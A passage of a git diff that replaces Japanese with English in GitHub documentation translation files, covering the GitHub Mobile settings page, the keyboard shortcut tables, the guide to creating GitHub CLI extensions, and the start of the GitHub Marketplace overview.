のユーザアカウントのデータにアクセスする必要がなくなった場合は、アカウントからサインアウトできます。 アプリの下部で、{% octicon "person" aria-label="The person icon" %} [**Profile**] を長押しし、サインアウトするアカウントで左にスワイプして [**Sign out**] をタップします。 +If you no longer need to access data for your user account on {% data variables.product.product_location %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**. -## {% data variables.product.prodname_mobile %} でサポートされている言語 +## Supported languages for {% data variables.product.prodname_mobile %} -{% data variables.product.prodname_mobile %} は次の言語で利用できます。 +{% data variables.product.prodname_mobile %} is available in the following languages. -- 英語 -- 日本語 -- ポルトガル語 (ブラジル) -- 簡体字中国語 -- スペイン語 +- English +- Japanese +- Brazilian Portuguese +- Simplified Chinese +- Spanish -デバイスの言語をサポートされている言語に設定すると、{% data variables.product.prodname_mobile %} はデフォルトでその言語になります。 {% data variables.product.prodname_mobile %} の [**Settings**] メニューで {% data variables.product.prodname_mobile %} の言語を変更できます。 +If you configure the language on your device to a supported language, {% data variables.product.prodname_mobile %} will default to the language. You can change the language for {% data variables.product.prodname_mobile %} in {% data variables.product.prodname_mobile %}'s **Settings** menu. -## iOS で {% data variables.product.prodname_mobile %} のユニバーサルリンクを管理する +## Managing Universal Links for {% data variables.product.prodname_mobile %} on iOS -{% data variables.product.prodname_mobile %} は、iOS のユニバーサルリンクを自動的に有効にします。 {% data variables.product.product_name %} リンクをタップすると、リンク先 URL が Safari ではなく {% data variables.product.prodname_mobile %} で開きます。 詳しい情報については、Apple Developer サイトの「[Universal Links](https://developer.apple.com/ios/universal-links/)」を参照してください。 +{% data variables.product.prodname_mobile %} automatically enables Universal Links for iOS. When you tap any {% data variables.product.product_name %} link, the destination URL will open in {% data variables.product.prodname_mobile %} instead of Safari. For more information, see [Universal Links](https://developer.apple.com/ios/universal-links/) on the Apple Developer site. -ユニバーサルリンクを無効にするには、{% data variables.product.product_name %} リンクを長押しして、[**Open**] をタップします。 今後 {% data variables.product.product_name %} リンクをタップするたびに、リンク先 URL は {% data variables.product.prodname_mobile %} ではなく Safari で開きます。 +To disable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open**. Every time you tap a {% data variables.product.product_name %} link in the future, the destination URL will open in Safari instead of {% data variables.product.prodname_mobile %}. -ユニバーサルリンクを再度有効にするには、{% data variables.product.product_name %} リンクを長押しして、[**Open in {% data variables.product.prodname_dotcom %}**] をタップします。 +To re-enable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open in {% data variables.product.prodname_dotcom %}**. -## フィードバックを送る +## Sharing feedback -{% data variables.product.prodname_mobile %} でバグを見つけた場合は、mobilefeedback@github.com までメールでお知らせください。 +If you find a bug in {% data variables.product.prodname_mobile %}, you can email us at mobilefeedback@github.com. You can submit feature requests or other feedback for {% data variables.product.prodname_mobile %} on [{% data variables.product.prodname_discussions %}](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Mobile+Feedback%22). -## iOS のベータリリースをオプトアウトする +## Opting out of beta releases for iOS -TestFlight を使用して{% data variables.product.prodname_mobile %} iOS 版のベータをテストしている場合は、いつでもベータを終了できます。 +If you're testing a beta release of {% data variables.product.prodname_mobile %} for iOS using TestFlight, you can leave the beta at any time. -1. お使いの iOS デバイスで TestFlight アプリを開きます。 -2. [Apps] の下の、[**{% data variables.product.prodname_dotcom %}**] をタップします。 -3. ページの下部で、[**Stop Testing**] をクリックします。 +1. On your iOS device, open the TestFlight app. +2. Under "Apps", tap **{% data variables.product.prodname_dotcom %}**. +3. At the bottom of the page, tap **Stop Testing**. diff --git a/translations/ja-JP/content/get-started/using-github/keyboard-shortcuts.md b/translations/ja-JP/content/get-started/using-github/keyboard-shortcuts.md index de88eee8ea..bc0dfabdb6 100644 --- a/translations/ja-JP/content/get-started/using-github/keyboard-shortcuts.md +++ b/translations/ja-JP/content/get-started/using-github/keyboard-shortcuts.md @@ -1,6 +1,6 @@ --- -title: キーボードショートカット -intro: '{% data variables.product.prodname_dotcom %} のほぼすべてのページには、アクションを速く実行するためのキーボードショートカットがあります。' +title: Keyboard shortcuts +intro: 'Nearly every page on {% data variables.product.prodname_dotcom %} has a keyboard shortcut to perform actions faster.' redirect_from: - /articles/using-keyboard-shortcuts/ - /categories/75/articles/ @@ -14,211 +14,209 @@ versions: ghae: '*' ghec: '*' --- +## About keyboard shortcuts -## キーボードショートカットについて +Typing ? on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. You can use these keyboard shortcuts to perform actions across the site without using your mouse to navigate. -Typing ? on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. マウスを使用して移動しなくても、これらのキーボードショートカットを使用して、サイト全体でアクションを実行できます。 +{% if keyboard-shortcut-accessibility-setting %} +You can disable character key shortcuts, while still allowing shortcuts that use modifier keys, in your accessibility settings. For more information, see "[Managing accessibility settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings)."{% endif %} -以下は利用可能なキーボードショートカットのリストです: +Below is a list of some of the available keyboard shortcuts. {% if command-palette %} The {% data variables.product.prodname_command_palette %} also gives you quick access to a wide range of actions, without the need to remember keyboard shortcuts. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %} -## サイト全体のショートカット +## Site wide shortcuts -| キーボードショートカット | 説明 | -| ----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| s または / | 検索バーにフォーカスします。 詳細は「[{% data variables.product.company_short %} での検索について](/search-github/getting-started-with-searching-on-github/about-searching-on-github)」を参照してください。 | -| g n | 通知に移動します。 詳しい情報については、{% ifversion fpt or ghes or ghae or ghec %}「[通知について](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}「[通知について](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}」を参照してください。 | -| esc | ユーザ、Issue、またはプルリクエストのホバーカードにフォーカスすると、ホバーカードが閉じ、ホバーカードが含まれている要素に再フォーカスします | +| Keyboard shortcut | Description +|-----------|------------ +|s or / | Focus the search bar. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." +|g n | Go to your notifications. For more information, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}." +|esc | When focused on a user, issue, or pull request hovercard, closes the hovercard and refocuses on the element the hovercard is in +{% if command-palette %}|controlk or commandk | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with Ctlaltk or ⌘optionk. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %} -{% if command-palette %} +## Repositories -controlk or commandk | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with Ctlaltk or ⌘optionk. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %} +| Keyboard shortcut | Description +|-----------|------------ +|g c | Go to the **Code** tab +|g i | Go to the **Issues** tab. For more information, see "[About issues](/articles/about-issues)." +|g p | Go to the **Pull requests** tab. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."{% ifversion fpt or ghes or ghec %} +|g a | Go to the **Actions** tab. For more information, see "[About Actions](/actions/getting-started-with-github-actions/about-github-actions)."{% endif %} +|g b | Go to the **Projects** tab. For more information, see "[About project boards](/articles/about-project-boards)." +|g w | Go to the **Wiki** tab. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."{% ifversion fpt or ghec %} +|g g | Go to the **Discussions** tab. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."{% endif %} -## リポジトリ +## Source code editing -| キーボードショートカット | 説明 | -| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| g c | [**Code**] タブに移動します | -| g i | [**Issues**] タブに移動します。 詳細は「[Issue について](/articles/about-issues)」を参照してください。 | -| g p | [**Pull requests**] タブに移動します。 詳しい情報については、「[プルリクエストについて](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)」を参照してください。"{% ifversion fpt or ghes or ghec %} -| g a | [**Actions**] タブに移動します。 詳しい情報については、「[アクションについて](/actions/getting-started-with-github-actions/about-github-actions)」を参照してください。{% endif %} -| g b | [**Projects**] タブに移動します。 詳細は「[プロジェクトボードについて](/articles/about-project-boards)」を参照してください。 | -| g w | [**Wiki**] タブに移動します。 For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."{% ifversion fpt or ghec %} -| g g | Go to the **Discussions** tab. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."{% endif %} +| Keyboard shortcut | Description +|-----------|------------{% ifversion fpt or ghec %} +|.| Opens a repository or pull request in the web-based editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %} +| control b or command b | Inserts Markdown formatting for bolding text +| control i or command i | Inserts Markdown formatting for italicizing text +| control k or command k | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae-next or ghes > 3.3 %} +| control shift 7 or command shift 7 | Inserts Markdown formatting for an ordered list +| control shift 8 or command shift 8 | Inserts Markdown formatting for an unordered list +| control shift . or command shift. | Inserts Markdown formatting for a quote{% endif %} +|e | Open source code file in the **Edit file** tab +|control f or command f | Start searching in file editor +|control g or command g | Find next +|control shift g or command shift g | Find previous +|control shift f or command option f | Replace +|control shift r or command shift option f | Replace all +|alt g | Jump to line +|control z or command z | Undo +|control y or command y | Redo +|command shift p | Toggles between the **Edit file** and **Preview changes** tabs +|control s or command s | Write a commit message -## ソースコード編集 +For more keyboard shortcuts, see the [CodeMirror documentation](https://codemirror.net/doc/manual.html#commands). -| キーボードショートカット | 説明 | -| --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghec %} -| . | Opens a repository or pull request in the web-based editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %} -| control b または command b | 太字テキストの Markdown 書式を挿入します | -| control i または command i | イタリック体のテキストの Markdown 書式を挿入します | -| control k または command k | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae-next or ghes > 3.3 %} -| control shift 7 or command shift 7 | Inserts Markdown formatting for an ordered list | -| control shift 8 or command shift 8 | Inserts Markdown formatting for an unordered list | -| control shift . or command shift. | Inserts Markdown formatting for a quote{% endif %} -| e | [**Edit file**] タブでソースコードファイルを開きます | -| control f または command f | ファイルエディタで検索を開始します | -| control g または command g | 次を検索します | -| control shift g or command shift g | 前を検索します | -| control shift f or command option f | 置き換えます | -| control shift r or command shift option f | すべてを置き換えます | -| alt g | 行にジャンプします | -| control z または command z | 元に戻します | -| control y または command y | やり直します | -| command shift p | [**Edit file**] タブと [**Preview changes**] タブを切り替えます | -| control s or command s | Write a commit message | +## Source code browsing -その他のキーボードショートカットについては、[CodeMirror ドキュメント](https://codemirror.net/doc/manual.html#commands)を参照してください。 +| Keyboard shortcut | Description +|-----------|------------ +|t | Activates the file finder +|l | Jump to a line in your code +|w | Switch to a new branch or tag +|y | Expand a URL to its canonical form. For more information, see "[Getting permanent links to files](/articles/getting-permanent-links-to-files)." +|i | Show or hide comments on diffs. For more information, see "[Commenting on the diff of a pull request](/articles/commenting-on-the-diff-of-a-pull-request)." +|a | Show or hide annotations on diffs +|b | Open blame view. For more information, see "[Tracing changes in a file](/articles/tracing-changes-in-a-file)." -## ソースコード閲覧 +## Comments -| キーボードショートカット | 説明 | -| ------------ | ------------------------------------------------------------------------------------------------------------------ | -| t | ファイルファインダーを起動します | -| l | コード内の行にジャンプします | -| w | 新しいブランチまたはタグに切り替えます | -| y | URL を正規の形式に展開します。 詳細は「[ファイルにパーマリンクを張る](/articles/getting-permanent-links-to-files)」を参照してください。 | -| i | 差分に関するコメントを表示または非表示にします。 詳細は「[プルリクエストの差分についてコメントする](/articles/commenting-on-the-diff-of-a-pull-request)」を参照してください。 | -| a | diff の注釈を表示または非表示にします | -| b | blame ビューを開きます。 詳細は「[ファイル内の変更を追跡する](/articles/tracing-changes-in-a-file)」を参照してください。 | +| Keyboard shortcut | Description +|-----------|------------ +| control b or command b | Inserts Markdown formatting for bolding text +| control i or command i | Inserts Markdown formatting for italicizing text{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} +| control e or command e | Inserts Markdown formatting for code or a command within a line{% endif %} +| control k or command k | Inserts Markdown formatting for creating a link +| control shift p or command shift p| Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae-next or ghes > 3.2 or ghec %} +| control shift 7 or command shift 7 | Inserts Markdown formatting for an ordered list +| control shift 8 or command shift 8 | Inserts Markdown formatting for an unordered list{% endif %} +| control enter | Submits a comment +| control . and then control [saved reply number] | Opens saved replies menu and then autofills comment field with a saved reply. For more information, see "[About saved replies](/articles/about-saved-replies)."{% ifversion fpt or ghae-next or ghes > 3.2 or ghec %} +| control shift . or command shift. | Inserts Markdown formatting for a quote{% endif %}{% ifversion fpt or ghec %} +|control g or command g | Insert a suggestion. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)." |{% endif %} +| r | Quote the selected text in your reply. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax#quoting-text)." | -## コメント +## Issue and pull request lists -| キーボードショートカット | 説明 | -| --------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| control b または command b | 太字テキストの Markdown 書式を挿入します | -| control i または command i | Inserts Markdown formatting for italicizing text{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} -| control e or command e | Inserts Markdown formatting for code or a command within a line{% endif %} -| control k または command k | リンクを作成するための Markdown 書式を挿入します | -| control shift p または command shift p | Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae-next or ghes > 3.2 or ghec %} -| control shift 7 or command shift 7 | Inserts Markdown formatting for an ordered list | -| control shift 8 or command shift 8 | Inserts Markdown formatting for an unordered list{% endif %} -| control enter | コメントをサブミットします | -| control .、次に control [返信テンプレート番号] | 返信テンプレートメニューを開き、コメントフィールドに返信テンプレートを自動入力します。 詳細は「[返信テンプレートについて](/articles/about-saved-replies)」を参照してください。{% ifversion fpt or ghae-next or ghes > 3.2 or ghec %} -| control shift . or command shift. | Inserts Markdown formatting for a quote{% endif %}{% ifversion fpt or ghec %} -| control g または command g | 提案を挿入します。 詳細は「[プルリクエストで提案された変更をレビューする](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)」を参照してください。 -{% endif %} -| r | 返信で選択したテキストを引用します。 詳細は「[基本的な書き方とフォーマットの構文](/articles/basic-writing-and-formatting-syntax)」を参照してください。 | +| Keyboard shortcut | Description +|-----------|------------ +|c | Create an issue +| control / or command / | Focus your cursor on the issues or pull requests search bar. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."|| +|u | Filter by author +|l | Filter by or edit labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)." +| alt and click | While filtering by labels, exclude labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)." +|m | Filter by or edit milestones. For more information, see "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)." +|a | Filter by or edit assignee. For more information, see "[Filtering issues and pull requests by assignees](/articles/filtering-issues-and-pull-requests-by-assignees)." +|o or enter | Open issue -## Issue およびプルリクエストのリスト +## Issues and pull requests +| Keyboard shortcut | Description +|-----------|------------ +|q | Request a reviewer. For more information, see "[Requesting a pull request review](/articles/requesting-a-pull-request-review/)." +|m | Set a milestone. For more information, see "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests/)." +|l | Apply a label. For more information, see "[Applying labels to issues and pull requests](/articles/applying-labels-to-issues-and-pull-requests/)." +|a | Set an assignee. For more information, see "[Assigning issues and pull requests to other {% data variables.product.company_short %} users](/articles/assigning-issues-and-pull-requests-to-other-github-users/)." +|cmd + shift + p or control + shift + p | Toggles between the **Write** and **Preview** tabs{% ifversion fpt or ghec %} +|alt and click | When creating an issue from a task list, open the new issue form in the current tab by holding alt and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." +|shift and click | When creating an issue from a task list, open the new issue form in a new tab by holding shift and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." +|command or control + shift and click | When creating an issue from a task list, open the new issue form in the new window by holding command or control + shift and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."{% endif %} -| キーボードショートカット | 説明 | -| --------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| c | Issueの作成 | -| control / または command / | Issue またはプルリクエストの検索バーにカーソルを合わせます。 For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."| | -| u | 作者によりフィルタリングします | -| l | ラベルによりフィルタリグするか、ラベルを編集します。 詳細は「[Issue およびプルリクエストをラベルでフィルタリングする](/articles/filtering-issues-and-pull-requests-by-labels)」を参照してください。 | -| alt およびクリック | ラベルによりフィルタリングすると同時に、ラベルを除外します。 詳細は「[Issue およびプルリクエストをラベルでフィルタリングする](/articles/filtering-issues-and-pull-requests-by-labels)」を参照してください。 | -| m | マイルストーンによりフィルタリングするか、 マイルストーンを編集します。 詳細は「[Issue およびプルリクエストをマイルストーンでフィルタリングする](/articles/filtering-issues-and-pull-requests-by-labels)」を参照してください。 | -| a | アサインされた人によりフィルタリングするか、 アサインされた人を編集します。 詳細は「[Issue およびプルリクエストをアサインされた人でフィルタリングする](/articles/filtering-issues-and-pull-requests-by-assignees)」を参照してください。 | -| o または enter | Issue を開きます | +## Changes in pull requests -## Issue およびプルリクエスト -| キーボードショートカット | 説明 | -| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| q | レビュー担当者にリクエストします。 詳細は「[Pull Request レビューをリクエストする](/articles/requesting-a-pull-request-review/)」を参照してください。 | -| m | マイルストーンを設定します。 詳細は「[Issue およびプルリクエストにマイルストーンを関連付ける](/articles/associating-milestones-with-issues-and-pull-requests)」を参照してください。 | -| l | ラベルを適用します。 詳細は「[Issue およびプルリクエストにラベルを適用する](/articles/applying-labels-to-issues-and-pull-requests)」を参照してください。 | -| a | アサインされた人を設定します。 詳細は「[{% data variables.product.company_short %} の他のユーザに Issue およびプルリクエストをアサインする](/articles/assigning-issues-and-pull-requests-to-other-github-users/)」を参照してください。 | -| cmd + shift + p または control + shift + p | Toggles between the **Write** and **Preview** tabs{% ifversion fpt or ghec %} -| alt およびクリック | When creating an issue from a task list, open the new issue form in the current tab by holding alt and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. 詳しい情報については[タスクリストについて](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)を参照してください。 | -| shift and click | When creating an issue from a task list, open the new issue form in a new tab by holding shift and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. 詳しい情報については[タスクリストについて](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)を参照してください。 | -| command or control + shift and click | When creating an issue from a task list, open the new issue form in the new window by holding command or control + shift and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."{% endif %} +| Keyboard shortcut | Description +|-----------|------------ +|c | Open the list of commits in the pull request +|t | Open the list of changed files in the pull request +|j | Move selection down in the list +|k | Move selection up in the list +| cmd + shift + enter | Add a single comment on a pull request diff | +| alt and click | Toggle between collapsing and expanding all outdated review comments in a pull request by holding down `alt` and clicking **Show outdated** or **Hide outdated**.|{% ifversion fpt or ghes or ghae or ghec %} +| Click, then shift and click | Comment on multiple lines of a pull request by clicking a line number, holding shift, then clicking another line number. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)."|{% endif %} -## プルリクエストの変更 +## Project boards -| キーボードショートカット | 説明 | -| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| c | プルリクエスト内のコミットのリストを開きます | -| t | プルリクエストで変更されたファイルのリストを開きます | -| j | リストで選択を下に移動します | -| k | リストで選択を上に移動します | -| cmd + shift + enter | プルリクエストの差分にコメントを 1 つ追加します | -| alt およびクリック | `alt` を押しながら、[**Show outdated**] または [**Hide outdated**] をクリックして、期限切れのレビューコメントをすべて折りたたむか展開するかを切り替えます。|{% ifversion fpt or ghes or ghae or ghec %} -| クリック後、shift およびクリック | プルリクエストの複数行にコメントするには、行番号をクリックし、shift を押したまま、別の行番号をクリックします。 詳しい情報については、「[プルリクエストへコメントする](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)」を参照してください。 -{% endif %} +### Moving a column -## プロジェクトボード +| Keyboard shortcut | Description +|-----------|------------ +|enter or space | Start moving the focused column +|escape | Cancel the move in progress +|enter | Complete the move in progress +|← or h | Move column to the left +|command + ← or command + h or control + ← or control + h | Move column to the leftmost position +|→ or l | Move column to the right +|command + → or command + l or control + → or control + l | Move column to the rightmost position -### 列を移動する +### Moving a card -| キーボードショートカット | 説明 | -| ------------------------------------------------------------------------------------------------------- | ----------------- | -| enter または space | フォーカスされた列を動かし始めます | -| escape | 進行中の移動をキャンセルします | -| enter | 進行中の移動を完了します | -| ← または h | 左に列を移動します | -| command + ← または command + h または control + ← または control + h | 左端に列を移動します | -| → または l | 右に列を移動します | -| command + → または command + l または control + → または control + l | 右端に列を移動します | +| Keyboard shortcut | Description +|-----------|------------ +|enter or space | Start moving the focused card +|escape | Cancel the move in progress +|enter | Complete the move in progress +|↓ or j | Move card down +|command + ↓ or command + j or control + ↓ or control + j | Move card to the bottom of the column +|↑ or k | Move card up +|command + ↑ or command + k or control + ↑ or control + k | Move card to the top of the column +|← or h | Move card to the bottom of the column on the left +|shift + ← or shift + h | Move card to the top of the column on the left +|command + ← or command + h or control + ← or control + h | Move card to the bottom of the leftmost column +|command + shift + ← or command + shift + h or control + shift + ← or control + shift + h | Move card to the top of the leftmost column +|→ | Move card to the bottom of the column on the right +|shift + → or shift + l | Move card to the top of the column on the right +|command + → or command + l or control + → or control + l | Move card to the bottom of the rightmost column +|command + shift + → or command + shift + l or control + shift + → or control + shift + l | Move card to the bottom of the rightmost column -### カードを移動する +### Previewing a card -| キーボードショートカット | 説明 | -| --------------------------------------------------------------------------------------------------------------------------------------- | ------------------- | -| enter または space | フォーカスされたカードを動かし始めます | -| escape | 進行中の移動をキャンセルします | -| enter | 進行中の移動を完了します | -| ↓ または j | カードを下に移動します | -| command + ↓ または command + j または control + ↓ または control + j | カードを列の一番下に移動します | -| ↑ または k | カードを上に移動します | -| command + ↑ または command + k または control + ↑ または control + k | カードを列の一番上に移動します | -| ← または h | カードを左側の列の一番下に移動します | -| shift + ← または shift + h | カードを左側の列の一番上に移動します | -| command + ← または command + h または control + ← または control + h | カードを一番左の列の一番下に移動します | -| command + shift + ← または command + shift + h または control + shift + ← または control + shift + h | カードを一番左の列の一番上に移動します | -| → | カードを右側の列の一番下に移動します | -| shift + → または shift + l | カードを右側の列の一番上に移動します | -| command + → または command + l または control + → または control + l | カードを一番右の列の一番下に移動します | -| command + shift + → または command + shift + l または control + shift + → または control + shift + l | カードを一番右の列の一番下に移動します | - -### カードをプレビューする - -| キーボードショートカット | 説明 | -| -------------- | ---------------- | -| esc | カードのプレビューペインを閉じる | +| Keyboard shortcut | Description +|-----------|------------ +|esc | Close the card preview pane {% ifversion fpt or ghec %} ## {% data variables.product.prodname_actions %} -| キーボードショートカット | 説明 | -| ---------------------------------------------------------- | ------------------------------------ | -| command + space または control + space | ワークフローエディターで、ワークフローファイルに対する提案を取得します。 | -| g f | ワークフローファイルに移動します | -| shift + t または T | ログのタイムスタンプを切り替えます | -| shift + f または F | フルスクリーン表示を切り替えます | -| esc | フルスクリーン表示を終了します | +| Keyboard shortcut | Description +|-----------|------------ +|command + space or control + space | In the workflow editor, get suggestions for your workflow file. +|g f | Go to the workflow file +|shift + t or T | Toggle timestamps in logs +|shift + f or F | Toggle full-screen logs +|esc | Exit full-screen logs {% endif %} -## 通知 +## Notifications + {% ifversion fpt or ghes or ghae or ghec %} -| キーボードショートカット | 説明 | -| -------------------- | ------------ | -| e | 完了済としてマークします | -| shift + u | 未読としてマークします | -| shift + i | 既読としてマークします | -| shift + m | サブスクライブ解除します | +| Keyboard shortcut | Description +|-----------|------------ +|e | Mark as done +| shift + u| Mark as unread +| shift + i| Mark as read +| shift + m | Unsubscribe {% else %} -| キーボードショートカット | 説明 | -| ---------------------------------------------- | ------------ | -| e または I または y | 既読としてマークします | -| shift + m | スレッドをミュートします | +| Keyboard shortcut | Description +|-----------|------------ +|e or I or y | Mark as read +|shift + m | Mute thread {% endif %} -## ネットワークグラフ +## Network graph -| キーボードショートカット | 説明 | -| --------------------------------------------- | ------------ | -| ← または h | 左にスクロールします | -| → または l | 右にスクロールします | -| ↑ または k | 上にスクロールします | -| ↓ または j | 下にスクロールします | -| shift + ← または shift + h | 左端までスクロールします | -| shift + → または shift + l | 右端までスクロールします | -| shift + ↑ または shift + k | 上端までスクロールします | -| shift + ↓ または shift + j | 下端までスクロールします | +| Keyboard shortcut | Description +|-----------|------------ +|← or h | Scroll left +|→ or l | Scroll right +|↑ or k | Scroll up +|↓ or j | Scroll down +|shift + ← or shift + h | Scroll all the way left +|shift + → or shift + l | Scroll all the way right +|shift + ↑ or shift + k | Scroll all the way up +|shift + ↓ or shift + j | Scroll all the way down diff --git a/translations/ja-JP/content/github-cli/github-cli/creating-github-cli-extensions.md b/translations/ja-JP/content/github-cli/github-cli/creating-github-cli-extensions.md index 538f162b57..589ce46209 100644 --- a/translations/ja-JP/content/github-cli/github-cli/creating-github-cli-extensions.md +++ b/translations/ja-JP/content/github-cli/github-cli/creating-github-cli-extensions.md @@ -46,7 +46,7 @@ You can use the `gh extension create` command to create a project for your exten {% endnote %} -1. Write your script in the executable file. 例: +1. Write your script in the executable file. For example: ```bash #!/usr/bin/env bash @@ -70,8 +70,8 @@ You can use the `gh extension create` command to create a project for your exten ```shell git init -b main - gh repo create gh-EXTENSION-NAME --confirm - git add . && git commit -m "initial commit" && git push --set-upstream origin main + git add . && git commit -m "initial commit" + gh repo create gh-EXTENSION-NAME --source=. --public --push ``` 1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)." @@ -120,7 +120,7 @@ fi ### Calling core commands in non-interactive mode -Some {% data variables.product.prodname_cli %} core commands will prompt the user for input. When scripting with those commands, a prompt is often undesirable. To avoid prompting, supply the necessary information explicitly via arguments. +Some {% data variables.product.prodname_cli %} core commands will prompt the user for input. When scripting with those commands, a prompt is often undesirable. To avoid prompting, supply the necessary information explicitly via arguments. For example, to create an issue programmatically, specify the title and body: @@ -148,6 +148,6 @@ gh api user --jq '.name' For more information, see [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting). -## 次のステップ +## Next steps To see more examples of {% data variables.product.prodname_cli %} extensions, look at [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension). diff --git a/translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md b/translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md index fe00884af6..d943c3326f 100644 --- a/translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md +++ b/translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md @@ -1,6 +1,6 @@ --- -title: GitHub Marketplaceについて -intro: '{% data variables.product.prodname_marketplace %}には、ワークフローに機能を追加して改善するツールが含まれています。' +title: About GitHub Marketplace +intro: '{% data variables.product.prodname_marketplace %} contains tools that add functionality and improve your workflow.' redirect_from: - /articles/about-github-marketplace - /github/customizing-your-github-workflow/about-github-marketplace @@ -8,28 +8,27 @@ versions: fpt: '*' ghec: '*' --- - You can discover, browse, and install free and paid tools, including {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_actions %}, in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). -有料のツールを購入した場合、{% data variables.product.product_name %} のプランの支払いに使用しているのと同じ支払い情報でツールのプランに支払いをすることになり、通常の支払日に一つの課金を受けます。 詳しい情報については、[{% data variables.product.prodname_marketplace %}の支払いについて](/articles/about-billing-for-github-marketplace)を参照してください。 +If you purchase a paid tool, you'll pay for your 